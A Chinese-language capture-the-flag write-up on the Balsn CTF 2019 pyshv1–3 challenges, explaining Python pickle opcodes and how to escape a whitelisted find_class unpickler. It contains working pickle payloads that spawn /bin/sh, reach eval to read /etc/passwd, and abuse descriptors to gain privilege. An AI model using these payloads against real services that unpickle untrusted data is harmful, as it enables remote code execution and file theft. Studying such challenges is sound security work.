参考链接
从Balsn CTF pyshv学习python反序列化
源码以及wp:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc
python反序列化
和其他语言的序列化一样,Python 的序列化的目的也是为了保存、传递和恢复对象的方便性,在众多传递对象的方式中,序列化和反序列化可以说是最简单和最容易实现的方式。
序列化:
pickle.dump(文件)
pickle.dumps(字符串)
反序列化:
pickle.load(文件)
pickle.loads(字符串)
stack 栈
memo 一个列表,可以存储信息
PVM操作码(具体其他操作码可以去看pickle源码)
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
(:压入一个标志到栈中,表示元组的开始位置
0:弹出栈项的元素并丢弃
t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p:将栈顶的元素存储到memo(标签区)中,p后面跟一个数字,就是表示这个元素在memo中的索引
g:把memo的第n个位置的元素复制到栈顶
V、S:向栈顶压入一个(unicode)字符串
s:从栈顶弹出三个元素,一个字典,一个键名字,一个键值,把键名:键值添加进字典,然后把字典压入栈顶
.:表示整个程序结束
pyshv1
securePickle.py
import pickle
import io
import sys
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
server.py
#!/usr/bin/python3 -u
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('sys')
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}
def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
可以看到题目用RestrictedUnpickler
做为反序列化的过程类,find_class
中限制了反序列化的对象必须是sys
模块中的对象。也就是我们要保证我们使用c导入的模块只能是sys
。
并且pickle.Unpickler.find_class
获取模块属性也依赖于sys.modules
也就是最终我们调用的始终是getattr(sys.modules['sys'],name)
,因此我们通过只导入sys
模块把sys.modules['sys']
改为我们想要执行的方法即可。
sys.modules
是一个字典,它包含了从 Python 开始运行起,被导入的所有模块。键字就是模块名,键值就是模块对象。因此我们可以从中获取想要的模块对象赋值给sys.modules['sys']
。
例如
import sys
modules = sys.modules # save sys.modules for later
sys.modules['sys'] = sys.modules # remap sys to sys.modules
import sys
modules['sys'] = sys.get('os') # access os throug the remapped sys, and store it in sys.modules['sys']
import sys
sys.system('echo "it works!"') # boom!
我们还需要手动将其转化为PVM操作码。
payload:
csys
modules
p1 #相当于命令为p1,要使用时直接使用g1
0g1 #这儿的0可以去掉
S'sys'
g1
scsys #s相当于给字典赋值 -》 sys.modules['sys'] = sys.modules
get
(S'os'
tRp2
0S'sys' # 这儿没太看啥懂
g2
scsys
system
(S'/bin/sh'
tR.
我按自己理解的意思 写了一下,也是没问题的
csys
modules
p1
g1
S'sys'
g1
scsys
get
(S'os'
tRp2
g1
S'sys'
g2
scsys
system
(S'echo 555'
tR.
pyshv2
securePickle.py
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
server.py
#!/usr/bin/python3 -u
import securePickle as pickle
import codecs
import sys
pickle.whitelist.append('structs')
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {
'help': self.cmd_help,
'flag': self.cmd_flag,
}
def login(self):
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))
def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1
def cmd_flag(self):
print("Not Implemented QAQ")
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
structs.py是空文件
与v1不同的地方在于可导入模块改为了structs
,然后还调用了__import__
。
__builtins__
是所有模块共用的一个字典,而__import__
是他的内置函数。我们可以通过修改structs.__builtins__
来重写__import__
。
我们可以将__import__
改为structs.__getattribute__
,然后把structs.structs
改为__builtins__
,然后调用import('structs')
返回的是__builtins__
,从而调用其eval等内置函数。
from structs import __dict__
from structs import __builtins__
from structs import __getattribute__
__builtins__['__import__'] = __getattribute__
__dict__['structs'] = __builtins__
__import__('structs')['eval']('print("123")')
同样的需要将其改为PVM
操作码,这里要注意__builtins__
是一个字典,从里面取eval
要用dict.get
函数。
payload:
cstructs
__dict__
p1
0cstructs
__builtins__
p2
0cstructs
__getattribute__
p3
0g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
p4
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.
这个我直接在本地运行不了,但是在题目中是可以运行的
import pickle
import io
whitelist = ['structs']
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module)
return getattr(module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
a = b"""cstructs
__dict__
p1
0cstructs
__builtins__
p2
cstructs
__getattribute__
p3
g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.
"""
loads(a)
pyshv3
securePickle.py
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
server.py
#!/usr/bin/python3 -u
import securePickle as pickle
import codecs
import os
pickle.whitelist.append('structs')
class Pysh(object):
def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}
def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
def cmd_help(self):
print('Available commands: ' + ' '.join(self.cmds.keys()))
def cmd_whoami(self):
print(self.user.name, self.user.group)
def cmd_su(self):
print("Not Implemented QAQ")
# self.user.privileged = 1
def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
structs.py
class User(object):
def __init__(self, name, group):
self.name = name
self.group = group
self.isadmin = 0
self.prompt = ''
struscts.py
多了个User
类,find_class
与v1类似,不过可导入模块为structs
。server.py中可以看到反序列化对象privileged
属性为true
就会输出flag,但是反序列化对象的privileged
属性在反序列化之后被设置成了False
。
payload 类似于
描述器定义
例子
class RevealAccess(object):
"""A data descriptor that sets and returns values
normally and prints a message logging their access.
"""
def __init__(self, initval=None, name='var'):
self.val = initval
self.name = name
def __get__(self, obj, objtype):
print 'Retrieving', self.name
return self.val
def __set__(self, obj, val):
print 'Updating', self.name
self.val = val
>>> class MyClass(object):
... x = RevealAccess(10, 'var "x"')
... y = 5
...
>>> m = MyClass()
>>> m.x
Retrieving var "x"
>>> m.x = 20
Updating var "x"
>>> m.x
Retrieving var "x"
>>> m.y
payload
中我们重载了User
类的__set__
方法,并将User实例赋值机给了User类的privileged
属性,然后当对a.privileged赋值时,就会触发其__set__方法,因为set被赋值为了User
,所以并不会对a.privileged
进行正常赋值,从而a.privileged
还为原来的User()
实例。
另外要注意只有查找到的值是一个描述器时才会调用描述器方法,比如这里的a.privileged
为描述器,而a.ppp
为一个正常的属性并不是一个描述器,因此其可以正常赋值。
然后就是手写opcode
了
cstructs
User
p0
(N}S"__set__"
g0
stbg0 #structs.User (None,{"__set__":structs.User})
(S"guess"
S"guess"
tRp1 #User('guess','guess')
g0
(N}S"privileged"
g1
stbg1 #structs.User (None,{"privileged":User('guess','guess')})
.